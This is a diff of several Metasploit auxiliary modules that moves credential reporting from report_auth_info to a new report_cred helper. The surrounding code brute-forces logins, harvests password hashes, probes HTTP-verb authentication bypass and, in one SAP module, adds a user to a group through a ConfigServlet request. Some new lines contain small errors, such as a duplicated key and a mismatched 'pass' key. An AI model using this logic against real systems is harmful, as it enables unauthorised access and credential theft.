||||
:pass => user[1],
|
||||
:type => "hash",
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: user[0],
|
||||
password: user[1],
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
proof: "salt: #{user[2]}"
|
||||
)
|
||||
users_table << user
|
||||
end
|
||||
end
|
||||
|
|
|
@ -198,6 +198,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
|
||||
begin
|
||||
|
@ -216,15 +242,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: 445,
|
||||
service_name: 'smb',
|
||||
user: "#{domain}\\#{user}",
|
||||
password: pass,
|
||||
proof: domain
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -76,6 +76,34 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nil
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'md5,des'
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
users_found = false
|
||||
|
||||
|
@ -117,14 +145,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
unless match.nil?
|
||||
print_good("Username: #{match[0]}")
|
||||
print_good("Password Hash: #{match[1]}")
|
||||
report_auth_info(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
sname: ssl ? 'https' : 'http',
|
||||
user: match[0],
|
||||
pass: match[1],
|
||||
active: true,
|
||||
type: 'hash'
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
user: match[0],
|
||||
password: match[1],
|
||||
proof: result.body
|
||||
)
|
||||
users_found = true
|
||||
end
|
||||
|
|
|
@ -74,6 +74,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
|
||||
begin
|
||||
|
@ -91,17 +117,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :skip_pass
|
||||
else
|
||||
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'couchdb',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'couchdb',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.code.to_s
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
|
|
|
@ -216,15 +216,40 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Raw version of #{archi} saved as: #{p}")
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 4050,
|
||||
:sname => 'dcerpc',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: 4050,
|
||||
service_name: 'dcerpc',
|
||||
user: "#{domain}\\#{user}",
|
||||
password: pass,
|
||||
proof: domain
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -69,22 +69,45 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
|
||||
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:source_type => "user_supplied",
|
||||
:duplicate_ok => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: auth.body.to_s
|
||||
)
|
||||
else
|
||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("Verifying that login page exists at #{ip}")
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
|
|
@ -72,6 +72,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
|
@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'OpenMind Message-OS Provisioning Portal',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'OpenMind Message-OS Provisioning Portal',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.headers['Location']
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
@ -21,14 +20,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Name' => 'HTTP Verb Authentication Bypass Scanner',
|
||||
'Description' => %q{
|
||||
This module test for authentication bypass using different HTTP verbs.
|
||||
|
||||
},
|
||||
'Author' => [ 'et [at] metasploit.com' ],
|
||||
'Author' => ['et [at] metasploit.com'],
|
||||
'License' => BSD_LICENSE))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to test", '/'])
|
||||
OptString.new('TARGETURI', [true, "The path to test", '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -44,20 +42,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ]
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH']),
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
}, 10)
|
||||
|
||||
return if not res
|
||||
|
||||
if not res.headers['WWW-Authenticate']
|
||||
print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}")
|
||||
print_status("#{full_uri} - Authentication not required [#{res.code}]")
|
||||
return
|
||||
end
|
||||
|
||||
auth_code = res.code
|
||||
|
||||
print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
|
||||
print_status("#{full_uri} - Authentication required: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
|
@ -65,22 +63,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:sname => (ssl ? 'https' : 'http'),
|
||||
:port => rport,
|
||||
:type => 'WWW_AUTHENTICATE',
|
||||
:data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}",
|
||||
:data => "#{target_uri.path} Realm: #{res.headers['WWW-Authenticate']}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
verbs.each do |tv|
|
||||
resauth = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH']),
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => tv
|
||||
}, 10)
|
||||
|
||||
next if not resauth
|
||||
|
||||
print_status("Testing verb #{tv}, resp code: [#{resauth.code}]")
|
||||
print_status("#{full_uri} - Testing verb #{tv} [#{resauth.code}]")
|
||||
|
||||
if resauth.code != auth_code and resauth.code <= 302
|
||||
print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}")
|
||||
print_good("#{full_uri} - Possible authentication bypass with verb #{tv} [#{resauth.code}]")
|
||||
|
||||
# Unable to use report_web_vuln as method is not in list of allowed methods.
|
||||
|
||||
|
@ -90,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:sname => (ssl ? 'https' : 'http'),
|
||||
:port => rport,
|
||||
:type => 'AUTH_BYPASS_VERB',
|
||||
:data => "#{datastore['PATH']} Verb: #{tv}",
|
||||
:data => "#{target_uri.path} Verb: #{tv}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
@ -98,4 +96,3 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
probe = buildprobe(shost, sport, ip, rport)
|
||||
|
||||
capture_sendto(probe, ip)
|
||||
next unless capture_sendto(probe, ip)
|
||||
|
||||
reply = probereply(pcap, to)
|
||||
|
||||
|
|
|
@ -33,6 +33,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user=nil,pass=nil)
|
||||
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
|
||||
vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'")
|
||||
|
@ -48,15 +75,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if res and res.code == 302
|
||||
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
|
||||
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}",
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}"
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
|
|
|
@ -200,18 +200,44 @@ class Metasploit3 < Msf::Auxiliary
|
|||
user_active = true
|
||||
end
|
||||
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'dvr',
|
||||
:duplicate_ok => false,
|
||||
:user => user,
|
||||
:pass => password,
|
||||
:active => user_active
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'dvr',
|
||||
user: user,
|
||||
password: password,
|
||||
service_name: 'http',
|
||||
proof: "user_id: #{user_id}, active: #{active}"
|
||||
)
|
||||
}
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
res = send_request_cgi({
|
||||
|
|
|
@ -231,18 +231,46 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_isqlauth_info(ip,user,pass,sid)
|
||||
ora_info = {
|
||||
:host => ip, :port => rport, :proto => "tcp",
|
||||
:pass => pass, :source_type => "user_supplied",
|
||||
:active => true
|
||||
ip: ip,
|
||||
port: rport,
|
||||
password: pass,
|
||||
proof: sid.inspect,
|
||||
service_name: 'tcp'
|
||||
}
|
||||
if sid.nil? || sid.empty?
|
||||
ora_info.merge! :user => user
|
||||
else
|
||||
ora_info.merge! :user => "#{sid}/#{user}"
|
||||
end
|
||||
report_auth_info(ora_info)
|
||||
report_cred(ora_info)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -138,6 +138,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
m[1,2]
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: opts[:status],
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def parse_script_output(addr,port,output)
|
||||
msg = "#{addr}:#{port} - Oracle -"
|
||||
@oracle_reported = false
|
||||
|
@ -156,10 +182,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
user,pass = extract_creds(oline)
|
||||
pass = "" if pass == "<empty>"
|
||||
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
|
||||
report_auth_info(
|
||||
:host => addr, :port => port, :proto => "tcp",
|
||||
:user => "#{sid}/#{user}", :pass => pass,
|
||||
:source_type => "user_supplied", :active => true
|
||||
report_cred(
|
||||
ip: addr,
|
||||
port: port,
|
||||
user: "#{sid}/#{user}",
|
||||
password: pass,
|
||||
service_name: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
elsif oline =~ /Account locked/
|
||||
if not @oracle_reported
|
||||
|
@ -169,10 +198,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
user = extract_creds(oline)[0]
|
||||
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
|
||||
report_auth_info(
|
||||
:host => addr, :port => port, :proto => "tcp",
|
||||
:user => "#{sid}/#{user}",
|
||||
:source_type => "user_supplied", :active => false
|
||||
report_cred(
|
||||
ip: addr,
|
||||
port: port,
|
||||
user: "#{sid}/#{user}",
|
||||
service_name: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
)
|
||||
elsif oline =~ /^\s+ERROR: (.*)/
|
||||
print_error "#{msg} NSE script error: #{$1}"
|
||||
|
|
|
@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
host_queue = hosts.dup
|
||||
# Spread the load across the hosts
|
||||
ports.each do |dport|
|
||||
hosts.each do |dhost|
|
||||
host_queue.each do |dhost|
|
||||
shost, sport = getsource(dhost)
|
||||
|
||||
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
||||
|
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
capture_sendto(probe, dhost)
|
||||
unless capture_sendto(probe, dhost)
|
||||
host_queue.delete(dhost)
|
||||
next
|
||||
end
|
||||
|
||||
reply = probereply(pcap, to)
|
||||
|
||||
|
|
|
@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
host_queue = hosts.dup
|
||||
# Spread the load across the hosts
|
||||
ports.each do |dport|
|
||||
hosts.each do |dhost|
|
||||
host_queue.each do |dhost|
|
||||
shost, sport = getsource(dhost)
|
||||
|
||||
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
|
||||
|
@ -63,7 +65,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
capture_sendto(probe, dhost)
|
||||
unless capture_sendto(probe, dhost)
|
||||
host_queue.delete(dhost)
|
||||
next
|
||||
end
|
||||
|
||||
reply = probereply(self.capture, to)
|
||||
|
||||
|
|
|
@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
host_queue = hosts.dup
|
||||
# Spread the load across the hosts
|
||||
ports.each do |dport|
|
||||
hosts.each do |dhost|
|
||||
host_queue.each do |dhost|
|
||||
shost, sport = getsource(dhost)
|
||||
|
||||
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
||||
|
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
capture_sendto(probe, dhost)
|
||||
unless capture_sendto(probe, dhost)
|
||||
host_queue.delete(dhost)
|
||||
next
|
||||
end
|
||||
|
||||
reply = probereply(pcap, to)
|
||||
|
||||
|
|
|
@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_fingerprint(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
|
@ -79,13 +105,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
if self.postgres_conn
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "postgres",
|
||||
:user => user,
|
||||
:pass => password,
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'postgres',
|
||||
user: user,
|
||||
password: password,
|
||||
proof: "postgres_conn = #{self.postgres_conn.inspect}"
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -43,9 +43,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
pcap = self.capture
|
||||
|
||||
capture_sendto(build_tcp_syn(ip), ip)
|
||||
|
||||
capture_sendto(build_icmp(ip), ip)
|
||||
capture_sendto(build_tcp_syn(ip), ip) and capture_sendto(build_icmp(ip), ip)
|
||||
|
||||
close_pcap
|
||||
end
|
||||
|
|
|
@ -220,6 +220,31 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[ sd, lport ]
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def start_rsh_session(host, port, user, luser, proof, stderr_sock)
|
||||
report_auth_info(
|
||||
|
|
|
@ -68,22 +68,49 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{rhost}:#{rport} - Adding User to Group...")
|
||||
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
|
||||
if send_request(uri)
|
||||
res = send_request(uri)
|
||||
if res
|
||||
print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
|
||||
else
|
||||
return
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => datastore['USERNAME'],
|
||||
:pass => datastore['PASSWORD'],
|
||||
:ptype => "password",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap',
|
||||
user: datastore['USERNAME'],
|
||||
pass: datastore['PASSWORD'],
|
||||
proof: res.body
|
||||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def send_request(uri)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
|
|
|
@ -61,6 +61,32 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def enum_user(user, pass, uri)
|
||||
|
||||
# Replace placeholder with SAP SID, if present
|
||||
|
@ -140,16 +166,13 @@ class Metasploit4 < Msf::Auxiliary
|
|||
